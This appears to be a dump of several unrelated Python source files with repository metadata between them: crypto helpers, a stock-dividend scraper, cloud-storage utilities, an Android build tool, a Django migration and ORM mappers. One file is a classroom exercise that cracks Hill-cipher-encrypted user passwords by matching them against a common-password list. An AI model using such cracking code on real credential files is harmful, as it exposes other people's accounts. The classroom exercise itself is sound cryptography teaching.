# Copyright 2018- The Pixie Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # SPDX-License-Identifier: Apache-2.0 import uuid from authlib.jose import JsonWebKey, RSAKey, JsonWebEncryption from src.api.proto.uuidpb import uuid_pb2 as uuidpb from src.api.proto.vizierpb import vizierapi_pb2 as vpb def uuid_pb_from_string(id_str: str) -> uuidpb.UUID: u = uuid.UUID(id_str) return uuidpb.UUID( high_bits=(u.int >> 64), low_bits=(u.int & 2**64 - 1), ) def uuid_pb_to_string(pb: uuidpb.UUID) -> str: i = (pb.high_bits << 64) + pb.low_bits u = uuid.UUID(int=i) return str(u) class CryptoOptions: def __init__(self): rsa = RSAKey.generate_key(key_size=4096, is_private=True) self.jwk_public_key = JsonWebKey.import_key(rsa.as_pem(is_private=False)) self.jwk_private_key = JsonWebKey.import_key(rsa.as_pem(is_private=True)) self._key_alg = 'RSA-OAEP-256' self._content_alg = 'A256GCM' self._compression_alg = 'DEF' def encrypt_options(self) -> vpb.ExecuteScriptRequest.EncryptionOptions: return vpb.ExecuteScriptRequest.EncryptionOptions( jwk_key=self.jwk_public_key.as_json(), key_alg=self._key_alg, content_alg=self._content_alg, compression_alg=self._compression_alg, ) def decode_row_batch(crypt: CryptoOptions, data) -> vpb.RowBatchData: jwe = JsonWebEncryption() rb = vpb.RowBatchData() data = jwe.deserialize_compact(data, crypt.jwk_private_key) rb.ParseFromString(data['payload']) return rb

32.71875

81

0.708691

4a07b46b70027acb016053375d1c103fc1cf1a20

2,537

py

Python

stock/tushare_ShareBonus.py

vyouzhis/energy

c9c9b0c7dc2e85a093fb531f80c3aa6f458e8b6e

[ "Apache-2.0" ]

null

stock/tushare_ShareBonus.py

vyouzhis/energy

c9c9b0c7dc2e85a093fb531f80c3aa6f458e8b6e

[ "Apache-2.0" ]

null

stock/tushare_ShareBonus.py

vyouzhis/energy

c9c9b0c7dc2e85a093fb531f80c3aa6f458e8b6e

[ "Apache-2.0" ]

1

2019-07-19T03:03:43.000Z

#!/usr/bin/python2 # -*- coding: utf-8 -*- # mongo_data # # use mongodb pyalgotrade and sz50 # # vim:fileencoding=utf-8:sw=4:et -*- coding: utf-8 -*- import json import sys import pandas as pd import lxml.html from lxml import etree from pandas.compat import StringIO import _index from energy.db.emongo import emongo from energy.db.dblist import dblist try: from urllib.request import urlopen, Request except ImportError: from urllib2 import urlopen, Request def _get_ShareBonus_data(code): """ 获取沪深上市公司分红内容 Parameters --------- code:string 代码 Return ------- DataFrame date,分红时间 bonus,送股(股) tran,转增(股) divid,派息(税前)(元)(每10股) progress,进度 gxdate,除权除息日 regdate,股权登记日 """ url = "http://money.finance.sina.com.cn/corp/go.php/vISSUE_ShareBonus/stockid/%s.phtml"%(code) try: request = Request(url) text = urlopen(request, timeout=10).read() text = text.decode('GBK') text = text.replace('--', '') html = lxml.html.parse(StringIO(text)) res = html.xpath("//table[@id='sharebonus_1']") sarr = [etree.tostring(node) for node in res] sarr = ''.join(sarr) df = pd.read_html(sarr)[0] CASHFLOW_COLS=['date','bonus','tran','divid','progress','gxdate','regdate','i','j','k','u'] df.columns = CASHFLOW_COLS df.pop('u') df.pop('i') df.pop('j') df.pop('k') return df except Exception as e: print(e) def getAllShareBonus(): dbl = dblist() allCodeList = dbl.getAllCodeList() dbl.Close() emg = emongo() conn = emg.getCollectionNames("ShareBonus") conn.remove() for post in allCodeList: code = post["code"] df = _get_ShareBonus_data(code) cjson = df.to_json(orient="records") j = json.loads(cjson) dt = {} dt[str(code)] = j conn.insert(dt) emg.Close() def main(): if len(sys.argv) == 2: stock = sys.argv[1] print "get one stock:",stock emg = emongo() conn = emg.getCollectionNames("ShareBonus") df = _get_ShareBonus_data(stock) cjson = df.to_json(orient="records") j = json.loads(cjson) dt = {} dt[str(stock)] = j conn.insert(dt) emg.Close() else: print "get all stock" getAllShareBonus() if __name__ == "__main__": main()

22.855856

99

0.558928

4a07b5f44c91cfdddf1e5d87905a7ef961658a62

3,290

py

Python

python/sqlflow_submitter/pai/utils.py

MATRIX4284/sqlflow

eba7efd0d23c26c9c7f93526faddeba24ea3274f

[ "Apache-2.0" ]

1

2019-12-24T01:38:17.000Z

python/sqlflow_submitter/pai/utils.py

MATRIX4284/sqlflow

eba7efd0d23c26c9c7f93526faddeba24ea3274f

[ "Apache-2.0" ]

null

python/sqlflow_submitter/pai/utils.py

MATRIX4284/sqlflow

eba7efd0d23c26c9c7f93526faddeba24ea3274f

[ "Apache-2.0" ]

null

# Copyright 2019 The SQLFlow Authors. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import oss2 import os import uuid from contextlib import contextmanager oss_internal_endpoints = { # From https://help.aliyun.com/document_detail/31837.html?spm=a2c4g.11186623.2.20.3eba7f5eufj1Pt#concept-zt4-cvy-5db "oss-ap-northeast-1.aliyuncs.com": "oss-ap-northeast-1-internal.aliyuncs.com", "oss-ap-south-1.aliyuncs.com": "oss-ap-south-1-internal.aliyuncs.com", "oss-ap-southeast-1.aliyuncs.com": "oss-ap-southeast-1-internal.aliyuncs.com", "oss-ap-southeast-2.aliyuncs.com": "oss-ap-southeast-2-internal.aliyuncs.com", "oss-ap-southeast-3.aliyuncs.com": "oss-ap-southeast-3-internal.aliyuncs.com", "oss-ap-southeast-5.aliyuncs.com": "oss-ap-southeast-5-internal.aliyuncs.com", "oss-cn-beijing.aliyuncs.com": "oss-cn-beijing-internal.aliyuncs.com", "oss-cn-chengdu.aliyuncs.com": "oss-cn-chengdu-internal.aliyuncs.com", "oss-cn-hangzhou.aliyuncs.com": "oss-cn-hangzhou-internal.aliyuncs.com", "oss-cn-hongkong.aliyuncs.com": "oss-cn-hongkong-internal.aliyuncs.com", "oss-cn-huhehaote.aliyuncs.com": "oss-cn-huhehaote-internal.aliyuncs.com", "oss-cn-qingdao.aliyuncs.com": "oss-cn-qingdao-internal.aliyuncs.com", "oss-cn-shanghai.aliyuncs.com": "oss-cn-shanghai-internal.aliyuncs.com", "oss-cn-shenzhen.aliyuncs.com": "oss-cn-shenzhen-internal.aliyuncs.com", "oss-cn-zhangjiakou.aliyuncs.com": "oss-cn-zhangjiakou-internal.aliyuncs.com", "oss-eu-central-1.aliyuncs.com": "oss-eu-central-1-internal.aliyuncs.com", "oss-eu-west-1.aliyuncs.com": "oss-eu-west-1-internal.aliyuncs.com", "oss-me-east-1.aliyuncs.com": "oss-me-east-1-internal.aliyuncs.com", "oss-us-east-1.aliyuncs.com": "oss-us-east-1-internal.aliyuncs.com", "oss-us-west-1.aliyuncs.com": "oss-us-west-1-internal.aliyuncs.com", } @contextmanager def oss_temporary(ak, sk, endpoint, filename): ''' oss_temporary copies `filename` to a temporary object on OSS and deletes it a.s.a.p. Example: with oss_temporary(YOUR_AK, YOUR_SK, ENDPOINT, 'test.py') as f: do_something_with(f) ''' bucket_name = 'sqlflow-pai-submitter' auth = oss2.Auth(ak, sk) bucket = oss2.Bucket(auth, endpoint, bucket_name) bucket.create_bucket(oss2.BUCKET_ACL_PRIVATE, oss2.models.BucketCreateConfig(oss2.BUCKET_STORAGE_CLASS_IA)) name = uuid.uuid4().hex if bucket.object_exists(name): raise FileExistsError("[Errno 17] File exists: '%s'" % name) # This would never happen. else: bucket.put_object_from_file(name, filename) yield f'oss://{bucket_name}.{internal_endpoints[endpoint]}/{name}' bucket.delete_object(name)

51.40625

123

0.712462

4a07b7478e174cdc3445431af833137e81ea847f

958

py

Python

fHandleConnectionToServerTerminated.py

SkyLined/HTTP

f4e895508494dc007acd3ad011465a174e12ad88

[ "CC-BY-4.0" ]

2

2020-06-25T03:51:05.000Z

2021-01-30T07:27:08.000Z

fHandleConnectionToServerTerminated.py

SkyLined/HTTP

f4e895508494dc007acd3ad011465a174e12ad88

[ "CC-BY-4.0" ]

null

fHandleConnectionToServerTerminated.py

SkyLined/HTTP

f4e895508494dc007acd3ad011465a174e12ad88

[ "CC-BY-4.0" ]

null

from mConsole import oConsole; from mColorsAndChars import *; from mCP437 import fsCP437FromBytesString; from mNotProvided import *; def fHandleConnectionToServerTerminated(oClient, oConnection, sbHostnameOrIPAddress): # We only show this message if the user provided a hostname instead of an IP address. sHostnameOrIPAddress = fsCP437FromBytesString(sbHostnameOrIPAddress); (sRemoteIPAddress, uRemotePortNumber) = oConnection.txRemoteAddress[:2]; oConsole.fOutput( COLOR_ACTIVE, "C", COLOR_DISCONNECT, "-×→", COLOR_ACTIVE, "S", COLOR_NORMAL, " Connection to server ", COLOR_INFO, ("[%s]" if ":" in sHostnameOrIPAddress else "%s") % sHostnameOrIPAddress, COLOR_NORMAL, ":", COLOR_INFO, str(uRemotePortNumber), [ COLOR_NORMAL, " using IP address ", COLOR_INFO, sRemoteIPAddress, ] if sHostnameOrIPAddress.lower() != sRemoteIPAddress.lower() else [], COLOR_NORMAL, " terminated.", );

36.846154

89

0.723382

4a07b773ec3db9836ede919159be18ee26791d32

7,209

py

Python

Cryptography/3.Password Cracking/passDriver.py

swethapraba/SeniorYearCSElectives

67b989ffecd5cf7508258783b0ec26468cdf94fc

[ "CNRI-Python" ]

null

Cryptography/3.Password Cracking/passDriver.py

swethapraba/SeniorYearCSElectives

67b989ffecd5cf7508258783b0ec26468cdf94fc

[ "CNRI-Python" ]

null

Cryptography/3.Password Cracking/passDriver.py

swethapraba/SeniorYearCSElectives

67b989ffecd5cf7508258783b0ec26468cdf94fc

[ "CNRI-Python" ]

null

#issues: it's not actually finding a match :( so the decryption matrix never gets set right :( """ Assignment: Instructions from Blackboard You have breached security in the TJ syslab and acquired the passwords.txt file for the class of 2018. The format of the file is userid encPwd where encPwd is an encryption of their password. You know that encPwd is always between 8-12 characters, the allowed alphabet is 61 characters long, beginning with ASC(33)=0 and ending with ASC(93)=60. You believe the passwords have all been encrypted with a 2x2 matrix transformation (e.g. a Hill Cipher) and hope that at least one person in the school was lazy enough to use one of the top 1,000 most common passwords (possibly padded with extra random letters). Using your python libraries and the attached files, crack the code and determine 1) the encryption matrix 2) the userID of the person who used a common password and their password 3) the userID/password of one other person with a recognizable password (not on the top 1000 list) handy code: #### open a text file. read it line by line. strip the "\n" off each line. then split the line into three strings w1,w2,w3, separated by whitespace. in = open("myFile","r") for line in in.readlines(): line = line.strip() (w1,w2,w3) = line.split() in.close() For this (improved?) version of the problem, there is a new password file to decrypt. This time you know that 3 people have selected passwords from the common list, and that you only need to worry about passwords on the common list of length > 5. """ import enchant #import dictionary library from sympy import * #our buddy sympy from MatrixCiphers import * #helper matrix methods from Cryptoalpha import * #helper cryptoalphabet methods dictionary = enchant.Dict("en_US") #english library alphabet = Cryptoalpha("!\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]")#61 char alphabet m = 61 #mod value passwordsFile = open("passwords-v2.txt","r") #encrypted passwords file open allUsersList = [] allUserPassList = [] sizedUserList = [] sizedUserPassList = [] commonPassFile = open("common-passwords.txt","r") #common passwords file open commonPasswordList = [] decryptionMatrix = Matrix([[0,0],[0,0]]) #this is where the final matrix will be stored once we find it sillyUser = "" #this is the user who used the commonPassword sillyEncryptedPassword = "" #this is that user's encrypted password that's in the file sillyPassword = "" #that person's decrypted password we were able to crack sillyIndex = 0 hackedUser = "" #this is the user we were able to find hackedEncryptedPassword = "" #that person's encrypted password from the file hackedPassword = "" #that person's decrypted password #read in all the common passwords into a list for common in commonPassFile.readlines(): common = common.strip() #get rid of the "\n" commonPasswordList.append(common) #add it to our list #print(common) #for loop going through the logins file line by line for logins in passwordsFile.readlines(): logins = logins.strip() #get rid of the "\n" (userid, encpwd) = logins.split() #userid = string of username ; encpwd = encrypted password from that person allUsersList.append(userid) #add all the userids to a list allUserPassList.append(encpwd) #add all the passwords encrypted to a list #print(userid + " " + encpwd) if len(encpwd) > 5: #if the password length is more than 5 sizedUserList.append(userid) #add the username to a separate list sizedUserPassList.append(encpwd) #add the password to a separate list #print(encpwd) index = 0 #index of the sized user/sized password counter = 0 #counter for number of elements totalCombos = 0 randomUser = 250 #we can probably make this a random number generator but for simplicity's sake, we'll just grab someone from the middle for users in allUsersList: counter += 1 #yay another element has been counted if index < len(allUsersList): #if the index is less than the size of the list of usernames (just a bounds check) thisUserPassword = allUserPassList[index] #pull the password for convenience if len(thisUserPassword) > 5: #is it long enough for us to use? for commonPass in commonPasswordList: totalCombos += 1 consideration = commonPass #we have our potential plaintext / the common password being considered #print(users + " " + thisUserPassword + " " + consideration) fourCharC = thisUserPassword[:4] #first four characters of the encrypted Password #print(fourCharC) fourCharP = consideration[:4] #first 4 characters of the possible common password #print(fourCharP) testMatrix = get_decryption_matrix(fourCharP, fourCharC , alphabet) #plaintext, ciphertext, alphabet #pprint(testMatrix) #print the test matrix #ok so test the matrix to make sure it's a good one if(testMatrix != None): #pprint(testMatrix) determinant = gcd(det(testMatrix), m) #use some sympy methods if determinant == 1: #print(determinant) #gcd is 1 = invertible matrix decryptedPassword = decrypt(testMatrix, thisUserPassword, alphabet) #decrypt the password with the matrix if decryptedPassword[:6] == commonPass: #if the full decrypted password matches the common password #yay we have the right matrix decryptionMatrix = testMatrix #save the matrix sillyUser = users #save the username sillyEncryptedPassword = thisUserPassword #save the encrypted password (for reference) sillyPassword = decryptedPassword #save their actual password sillyIndex = index #save the index print("Here is one person's information:") pprint(decryptionMatrix) #print stuff out print(sillyUser) print(sillyEncryptedPassword) print(sillyPassword) break #??? should this be good? index += 1 #go to the next ones print("Yay we're at the end of the file") pprint(decryptionMatrix) #print stuff out print(sillyUser) print(sillyEncryptedPassword) print(sillyPassword) #cool now we should decrypt another random person's stuff (just for fun) theOtherUser = allUsersList[randomUser] #grab their username theOtherUserPass = allUserPassList[randomUser] #grab their encrypted password decryptedMessage = decrypt(decryptionMatrix, theOtherUserPass, alphabet) #let's crack it using the decryption matrix from above """ #ideally we would check to make sure it is English, but it's possible there may be padding letters that would mess up this test checking = dictionary.check(decryptedMessage) #is this password a real english word in the dictionary? if checking is True: #if it passes our test print("The other User: " + theOtherUser) #Print stuff out print("Their encrypted password: " + theOtherUserPass) print("Their decrypted password: " + decryptedMessage) else: #what else can we do? print("WRONG The other User: " + theOtherUser) #Print stuff out print("WRONG Their encrypted password: " + theOtherUserPass) print("WRONG Their decrypted password: " + decryptedMessage) """ print("The other User: " + theOtherUser) #Print stuff out print("Their encrypted password: " + theOtherUserPass) print("Their decrypted password: " + decryptedMessage)

51.863309

148

0.746012

4a07b88e142893dd3e525ab91da5a15878f25da1

435

py

Python

output/models/ms_data/datatypes/facets/g_year_month/g_year_month_pattern001_xsd/g_year_month_pattern001.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

1

2021-08-14T17:59:21.000Z

output/models/ms_data/datatypes/facets/g_year_month/g_year_month_pattern001_xsd/g_year_month_pattern001.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

4

2020-02-12T21:30:44.000Z

2020-04-15T20:06:46.000Z

output/models/ms_data/datatypes/facets/g_year_month/g_year_month_pattern001_xsd/g_year_month_pattern001.py

tefra/xsdata-w3c-tests

b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f

[ "MIT" ]

null

from dataclasses import dataclass, field from typing import Optional @dataclass class FooType: class Meta: name = "fooType" foo: Optional[str] = field( default=None, metadata={ "type": "Element", "namespace": "", "required": True, "pattern": r"[0-9]{4}-[0-9]{2}", } ) @dataclass class Test(FooType): class Meta: name = "test"

17.4

44

0.51954

4a07b9968a1aa701265e61983f5fb36991703d21

1,709

py

Python

app/core/migrations/0001_initial.py

miguelcdpmarques/django-recipes-api

0f318809c03644d917e1aa68d8d34a3fd3b4b613

[ "MIT" ]

null

app/core/migrations/0001_initial.py

miguelcdpmarques/django-recipes-api

0f318809c03644d917e1aa68d8d34a3fd3b4b613

[ "MIT" ]

null

app/core/migrations/0001_initial.py

miguelcdpmarques/django-recipes-api

0f318809c03644d917e1aa68d8d34a3fd3b4b613

[ "MIT" ]

null

# Generated by Django 2.1.15 on 2020-04-22 17:38 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('email', models.EmailField(max_length=255, unique=True)), ('name', models.CharField(max_length=255)), ('is_active', models.BooleanField(default=True)), ('is_staff', models.BooleanField(default=False)), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'abstract': False, }, ), ]

50.264706

266

0.63897

4a07ba6b408e0030c48f5ea193b532796ebe32da

9,234

py

Python

src/briefcase/platforms/android/gradle.py

pybee/briefcase

d7e9aa7bf15aa2abbc71e97aef9bea287129fdaa

[ "BSD-3-Clause" ]

522

2015-07-28T16:06:18.000Z

2019-03-25T17:16:55.000Z

src/briefcase/platforms/android/gradle.py

pybee/briefcase

d7e9aa7bf15aa2abbc71e97aef9bea287129fdaa

[ "BSD-3-Clause" ]

154

2015-09-17T02:50:55.000Z

2019-03-22T07:10:34.000Z

src/briefcase/platforms/android/gradle.py

pybee/briefcase

d7e9aa7bf15aa2abbc71e97aef9bea287129fdaa

[ "BSD-3-Clause" ]

105

2015-09-25T08:43:26.000Z

2019-03-25T15:59:27.000Z

import re import subprocess from briefcase.commands import ( BuildCommand, CreateCommand, PackageCommand, PublishCommand, RunCommand, UpdateCommand, ) from briefcase.config import BaseConfig, parsed_version from briefcase.exceptions import BriefcaseCommandError from briefcase.integrations.android_sdk import AndroidSDK def safe_formal_name(name): """Converts the name into a safe name on Android. Certain characters (``/\\:<>"?*|``) can't be used as app names on Android; ``!`` causes problems with Android build tooling. Also ensure that trailing, leading, and consecutive whitespace caused by removing punctuation is collapsed. :param name: The candidate name :returns: The safe version of the name. """ return re.sub(r"\s+", " ", re.sub(r'[!/\\:<>"\?\*\|]', "", name)).strip() class GradleMixin: output_format = "gradle" platform = "android" @property def packaging_formats(self): return ["aab"] @property def default_packaging_format(self): return "aab" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def bundle_path(self, app): """The path to the bundle for the app in the output format. The bundle is the template-generated source form of the app. The path will usually be a directory, the existence of which is indicative that the template has been rolled out for an app. This overrides the default behavior, using a "safe" formal name :param app: The app config """ return ( self.platform_path / self.output_format / safe_formal_name(app.formal_name) ) def binary_path(self, app): return ( self.bundle_path(app) / "app" / "build" / "outputs" / "apk" / "debug" / "app-debug.apk" ) def distribution_path(self, app, packaging_format): return ( self.bundle_path(app) / "app" / "build" / "outputs" / "bundle" / "release" / "app-release.aab" ) def gradlew_path(self, app): gradlew = "gradlew.bat" if self.host_os == "Windows" else "gradlew" return self.bundle_path(app) / gradlew def verify_tools(self): """Verify that we the Android APK tools in `briefcase` will operate on this system, downloading tools as needed.""" super().verify_tools() self.android_sdk = AndroidSDK.verify(self) class GradleCreateCommand(GradleMixin, CreateCommand): description = "Create and populate an Android APK." def output_format_template_context(self, app: BaseConfig): """Additional template context required by the output format. :param app: The config object for the app """ # Android requires an integer "version code". If a version code # isn't explicitly provided, generate one from the version number. # The build number will also be appended, if provided. try: version_code = app.version_code except AttributeError: parsed = parsed_version(app.version) v = (list(parsed.release) + [0, 0])[:3] # version triple build = int(getattr(app, "build", "0")) version_code = f"{v[0]:d}{v[1]:02d}{v[2]:02d}{build:02d}".lstrip("0") return { "version_code": version_code, "safe_formal_name": safe_formal_name(app.formal_name), } class GradleUpdateCommand(GradleMixin, UpdateCommand): description = "Update an existing Android debug APK." class GradleBuildCommand(GradleMixin, BuildCommand): description = "Build an Android debug APK." def build_app(self, app: BaseConfig, **kwargs): """Build an application. :param app: The application to build """ self.logger.info("Building Android APK...", prefix=app.app_name) try: self.subprocess.run( # Windows needs the full path to `gradlew`; macOS & Linux can find it # via `./gradlew`. For simplicity of implementation, we always provide # the full path. [self.gradlew_path(app), "assembleDebug"], env=self.android_sdk.env, # Set working directory so gradle can use the app bundle path as its # project root, i.e., to avoid 'Task assembleDebug not found'. cwd=self.bundle_path(app), check=True, ) except subprocess.CalledProcessError as e: raise BriefcaseCommandError("Error while building project.") from e class GradleRunCommand(GradleMixin, RunCommand): description = "Run an Android debug APK on a device (physical or virtual)." def verify_tools(self): super().verify_tools() self.android_sdk.verify_emulator() def add_options(self, parser): super().add_options(parser) parser.add_argument( "-d", "--device", dest="device_or_avd", help="The device to target; either a device ID for a physical device, " " or an AVD name ('@emulatorName') ", required=False, ) def run_app(self, app: BaseConfig, device_or_avd=None, **kwargs): """Start the application. :param app: The config object for the app :param device: The device to target. If ``None``, the user will be asked to re-run the command selecting a specific device. """ device, name, avd = self.android_sdk.select_target_device( device_or_avd=device_or_avd ) # If there's no device ID, that means the emulator isn't running. # If there's no AVD either, it means the user has chosen to create # an entirely new emulator. Create the emulator (if necessary), # then start it. if device is None: if avd is None: avd = self.android_sdk.create_emulator() device, name = self.android_sdk.start_emulator(avd) self.logger.info() self.logger.info( f"Starting app on {name} (device ID {device})", prefix=app.app_name ) # Create an ADB wrapper for the selected device adb = self.android_sdk.adb(device=device) # Compute Android package name. The Android template uses # `package_name` and `module_name`, so we use those here as well. package = f"{app.package_name}.{app.module_name}" # We force-stop the app to ensure the activity launches freshly. self.logger.info() self.logger.info("Stopping old versions of the app...", prefix=app.app_name) adb.force_stop_app(package) # Install the latest APK file onto the device. self.logger.info() self.logger.info("Installing app...", prefix=app.app_name) adb.install_apk(self.binary_path(app)) self.logger.info() self.logger.info("Clearing device log...", prefix=app.app_name) adb.clear_log() # To start the app, we launch `org.beeware.android.MainActivity`. self.logger.info() self.logger.info("Launching app...", prefix=app.app_name) adb.start_app(package, "org.beeware.android.MainActivity") self.logger.info() self.logger.info( "Following device log output (type CTRL-C to stop log)...", prefix=app.app_name, ) self.logger.info("=" * 75) adb.logcat() class GradlePackageCommand(GradleMixin, PackageCommand): description = "Create an Android App Bundle and APK in release mode." def package_app(self, app: BaseConfig, **kwargs): """Package the app for distribution. This involves building the release app bundle. :param app: The application to build """ self.logger.info( "Building Android App Bundle and APK in release mode...", prefix=app.app_name, ) try: self.subprocess.run( # Windows needs the full path to `gradlew`; macOS & Linux can find it # via `./gradlew`. For simplicity of implementation, we always provide # the full path. [self.gradlew_path(app), "bundleRelease"], env=self.android_sdk.env, # Set working directory so gradle can use the app bundle path as its # project root, i.e., to avoid 'Task bundleRelease not found'. cwd=self.bundle_path(app), check=True, ) except subprocess.CalledProcessError as e: raise BriefcaseCommandError("Error while building project.") from e class GradlePublishCommand(GradleMixin, PublishCommand): description = "Publish an Android APK." # Declare the briefcase command bindings create = GradleCreateCommand # noqa update = GradleUpdateCommand # noqa build = GradleBuildCommand # noqa run = GradleRunCommand # noqa package = GradlePackageCommand # noqa publish = GradlePublishCommand # noqa

34.327138

87

0.615551

4a07bb353a629c0e2742aa7f35c3e16a7ab45b57

19,549

py

Python

thelma/repositories/rdb/mappers/__init__.py

fogathmann/TheLMA

ac330a0005da4fea2f1387da9ff9938611ad1481

[ "MIT" ]

1

2020-07-12T22:47:58.000Z

thelma/repositories/rdb/mappers/__init__.py

papagr/TheLMA

d2dc7a478ee5d24ccf3cc680888e712d482321d0

[ "MIT" ]

null

thelma/repositories/rdb/mappers/__init__.py

papagr/TheLMA

d2dc7a478ee5d24ccf3cc680888e712d482321d0

[ "MIT" ]

1

2020-07-12T22:40:36.000Z

from thelma.repositories.rdb.mappers import amplicondesign from thelma.repositories.rdb.mappers import antimirdesign from thelma.repositories.rdb.mappers import barcodedlocation from thelma.repositories.rdb.mappers import barcodedlocationrack from thelma.repositories.rdb.mappers import barcodedlocationtype from thelma.repositories.rdb.mappers import chemicalstructure from thelma.repositories.rdb.mappers import cloneddsdnadesign from thelma.repositories.rdb.mappers import compoundchemicalstructure from thelma.repositories.rdb.mappers import compounddesign from thelma.repositories.rdb.mappers import container from thelma.repositories.rdb.mappers import tubelocation from thelma.repositories.rdb.mappers import containerspecs from thelma.repositories.rdb.mappers import device from thelma.repositories.rdb.mappers import devicetype from thelma.repositories.rdb.mappers import esirnadesign from thelma.repositories.rdb.mappers import executedliquidtransfer from thelma.repositories.rdb.mappers import executedracksampletransfer from thelma.repositories.rdb.mappers import executedsampledilution from thelma.repositories.rdb.mappers import executedsampletransfer from thelma.repositories.rdb.mappers import executedworklist from thelma.repositories.rdb.mappers import experiment from thelma.repositories.rdb.mappers import experimentdesign from thelma.repositories.rdb.mappers import experimentdesignrack from thelma.repositories.rdb.mappers import experimentjob from thelma.repositories.rdb.mappers import experimentmetadata from thelma.repositories.rdb.mappers import experimentmetadatatype from thelma.repositories.rdb.mappers import experimentrack from thelma.repositories.rdb.mappers import gene from thelma.repositories.rdb.mappers import iso from thelma.repositories.rdb.mappers import isoaliquotplate from thelma.repositories.rdb.mappers import isojob from thelma.repositories.rdb.mappers import isojobpreparationplate from thelma.repositories.rdb.mappers import isojobstockrack from thelma.repositories.rdb.mappers import isoplate from thelma.repositories.rdb.mappers import isopreparationplate from thelma.repositories.rdb.mappers import isorequest from thelma.repositories.rdb.mappers import isosectorpreparationplate from thelma.repositories.rdb.mappers import isosectorstockrack from thelma.repositories.rdb.mappers import isostockrack from thelma.repositories.rdb.mappers import itemstatus from thelma.repositories.rdb.mappers import job from thelma.repositories.rdb.mappers import labiso from thelma.repositories.rdb.mappers import labisorequest from thelma.repositories.rdb.mappers import libraryplate from thelma.repositories.rdb.mappers import longdsrnadesign from thelma.repositories.rdb.mappers import mirnainhibitordesign from thelma.repositories.rdb.mappers import mirnamimicdesign from thelma.repositories.rdb.mappers import modificationchemicalstructure from thelma.repositories.rdb.mappers import molecule from thelma.repositories.rdb.mappers import moleculedesign from thelma.repositories.rdb.mappers import moleculedesignlibrary from thelma.repositories.rdb.mappers import moleculedesignpool from thelma.repositories.rdb.mappers import moleculedesignpoolset from thelma.repositories.rdb.mappers import moleculedesignsetbase from thelma.repositories.rdb.mappers import moleculetype from thelma.repositories.rdb.mappers import nucleicacidchemicalstructure from thelma.repositories.rdb.mappers import organization from thelma.repositories.rdb.mappers import pipettingspecs from thelma.repositories.rdb.mappers import plannedliquidtransfer from thelma.repositories.rdb.mappers import plannedracksampletransfer from thelma.repositories.rdb.mappers import plannedsampledilution from thelma.repositories.rdb.mappers import plannedsampletransfer from thelma.repositories.rdb.mappers import plannedworklist from thelma.repositories.rdb.mappers import plate from thelma.repositories.rdb.mappers import platespecs from thelma.repositories.rdb.mappers import primerdesign from thelma.repositories.rdb.mappers import project from thelma.repositories.rdb.mappers import rack from thelma.repositories.rdb.mappers import racklayout from thelma.repositories.rdb.mappers import rackposition from thelma.repositories.rdb.mappers import rackpositionset from thelma.repositories.rdb.mappers import rackshape from thelma.repositories.rdb.mappers import rackspecs from thelma.repositories.rdb.mappers import reservoirspecs from thelma.repositories.rdb.mappers import samplemolecule from thelma.repositories.rdb.mappers import sampleregistration from thelma.repositories.rdb.mappers import sirnadesign from thelma.repositories.rdb.mappers import species from thelma.repositories.rdb.mappers import moleculedesignset from thelma.repositories.rdb.mappers import stockinfo from thelma.repositories.rdb.mappers import stockrack from thelma.repositories.rdb.mappers import stocksample from thelma.repositories.rdb.mappers import stocksamplecreationiso from thelma.repositories.rdb.mappers import stocksamplecreationisorequest from thelma.repositories.rdb.mappers import subproject from thelma.repositories.rdb.mappers import suppliermoleculedesign from thelma.repositories.rdb.mappers import supplierstructureannotation from thelma.repositories.rdb.mappers import tag from thelma.repositories.rdb.mappers import tagged from thelma.repositories.rdb.mappers import taggedrackpositionset from thelma.repositories.rdb.mappers import tagging from thelma.repositories.rdb.mappers import tube from thelma.repositories.rdb.mappers import tuberack from thelma.repositories.rdb.mappers import tuberackspecs from thelma.repositories.rdb.mappers import tubespecs from thelma.repositories.rdb.mappers import tubetransfer from thelma.repositories.rdb.mappers import tubetransferworklist from thelma.repositories.rdb.mappers import unknownchemicalstructure from thelma.repositories.rdb.mappers import user from thelma.repositories.rdb.mappers import userpreferences from thelma.repositories.rdb.mappers import well from thelma.repositories.rdb.mappers import wellspecs from thelma.repositories.rdb.mappers import worklistseries from thelma.repositories.rdb.mappers import worklistseriesmember from thelma.repositories.rdb.mappers import sample def initialize_mappers(tables, views): organization.create_mapper(tables['organization']) itemstatus.create_mapper(tables['item_status']) containerspecs_mapper = \ containerspecs.create_mapper(tables['container_specs']) tubespecs.create_mapper(containerspecs_mapper, tables['rack_specs_container_specs']) wellspecs.create_mapper(containerspecs_mapper, tables['rack_specs_container_specs']) container_mapper = container.create_mapper(tables['container']) tube.create_mapper(container_mapper, tables['tube']) well.create_mapper(container_mapper, 